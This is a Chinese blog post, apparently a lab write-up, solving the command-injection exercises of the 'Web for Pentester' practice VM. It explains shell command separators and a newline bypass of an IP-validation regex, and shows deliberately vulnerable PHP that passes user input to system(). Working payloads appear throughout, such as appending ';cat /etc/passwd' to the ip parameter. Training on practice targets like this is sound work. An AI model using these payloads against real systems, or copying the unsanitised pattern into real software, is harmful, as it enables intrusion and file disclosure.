freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Web for Pentester靶场--Commands injection
2021-11-10 11:32:27

前言

Web for Pentester靶场是一个难度中等偏低的专项训练靶场,对新手友好,有XSS、SQL注入、目录穿越、文件包含、代码注入、命令注入、LDAP攻击、文件上传、XML攻击。适合无聊时候巩固知识玩一下。

本次先完成命令注入部分题目。系列文章第一篇。

点击iso下载靶机:

1636507409_618b1f11b04aa586fd98f.png!small?1636507409475

访问靶机ip地址看到如下页面就访问成功了。

1636507415_618b1f17d37cd0405c4b9.png!small?1636507415705

靶场共9部分,源码在 /var/www 下。

1636507426_618b1f22d5cc87ff9d974.png!small?1636507426611

命令执行

Commands injection -Example 1

没有任何过滤,直接打,用Linux的特殊符号

在Linux里,

;command1 ; command2分割命令,从左到右执行,执行中互不干扰。

|command1 | command2将命令1的输出作为命令2的输入,将命令2的输出作为命令3的输入,依此类推。

||command1 || command2代表逻辑 or , 命令1为假,才会执行命令2

&command1&command2命令1和2都执行,只不过命令1被放在后台执行。

&&command1 && command2代表逻辑 and ,如果命令1是假,那么命令2 将不被执行

这里有个坑:

因为是GET传参,注意适当的url编码。注意一些url里的保留字符,如果原样输出在url上就表示特殊的意义,不会被传入后端,比如 & 原样输出在url上是表示分割名值对的,这时候需要url编码后再使用。& ---> %26

其实在sql注入的时候也是同理,为什么get的请求注释要用--+或者%23。其实像验证也很简单,加一行代码输出后端接收到的GET参数是什么,看看就知道了。

payload:

?ip=127.0.0.1;cat /etc/passwd

?ip=127.0.0.1%26cat /etc/passwd

?ip=127.0.0.1%26%26cat /etc/passwd

?ip=127.0.0.1|cat /etc/passwd

?ip=127.0.0.1||cat /etc/passwd

1636507482_618b1f5ab3f3f0154e865.png!small?1636507482446

来瞄一眼源码:

1636507492_618b1f64a4b8a4492d864.png!small?1636507492356

<?php require_once("../header.php"); ?>
<pre>
<?php
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

Commands injection -Example 2

白盒测试吧,来瞄一眼源码:

1636507502_618b1f6ed86e1e2936e3e.png!small?1636507502638

​root@debian:/var/www/commandexec# cat example2.php 
<?php require_once("../header.php"); ?>
<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>
<?php require_once("../footer.php"); ?>

这里给大家推荐一个正则的网站,大家看到又长又臭的正则表达式,看着很乱的时候

https://regexr-cn.com/

1636507548_618b1f9c48cece7201393.png!small?1636507548213

这个正则,过滤非ip ,结尾的/m 是匹配末尾行。$ 结尾,匹配字符串结尾,或者当使用多行标记(m)时,匹配一行的结尾。这个正则迫使,比如是ip开头结尾,所以想绕过,换行就行了,

1636507556_618b1fa4dd85574734609.png!small?1636507556602

看到 /m 想到换行绕过。%0A

payload:

?ip=127.0.0.1%0acat /etc/passwd

1636507567_618b1faf4bf11ba053b83.png!small?1636507567107

Commands injection -Example 3

这一题就很有意思了,看完当时后当事人反应:“这代码有用,但没完全有用”

<pre>
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ".$_GET['ip']);
?>
</pre>

这题比较上一题的代码,去掉了 /m 多行匹配模式,检测不为ip则用header()函数重定向location。

哎神奇的地方来了 ,代码执行顺序,先if 检查传入的参数,如果是ip ,直接执行system() ;如果不是ip ,则进入 if 的代码体,执行重定向,然鹅,并没有die结束,然后退出 if 代码体,顺序往下执行 system() ,,绝了啊,这if 写了等于没写。

burp抓包看看返回,或者 curl 也行:

curl "http://10.211.55.20/commandexec/example3.php?ip=127.0.0.1;cat%20/etc/passwd"

1636507585_618b1fc19bb5af1a56cac.png!small?1636507585434

作者介绍:

Bitores,无尽安全实验室团队成员之一。一个梦想着某天能顺着网线去搬走你域控主机的练习时长两年的渗透测试练习生。擅长 web/内网 渗透测试,分析常见漏洞,跟踪分析研究最新漏洞并提供漏洞修复方案。偶尔代码审计分析,攻防演练,红蓝对抗,配合应急响应处置突发安全事件。

靶场下载地址 https://pentesterlab.com/exercises/web_for_pentester/attachments

# 靶场实战
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录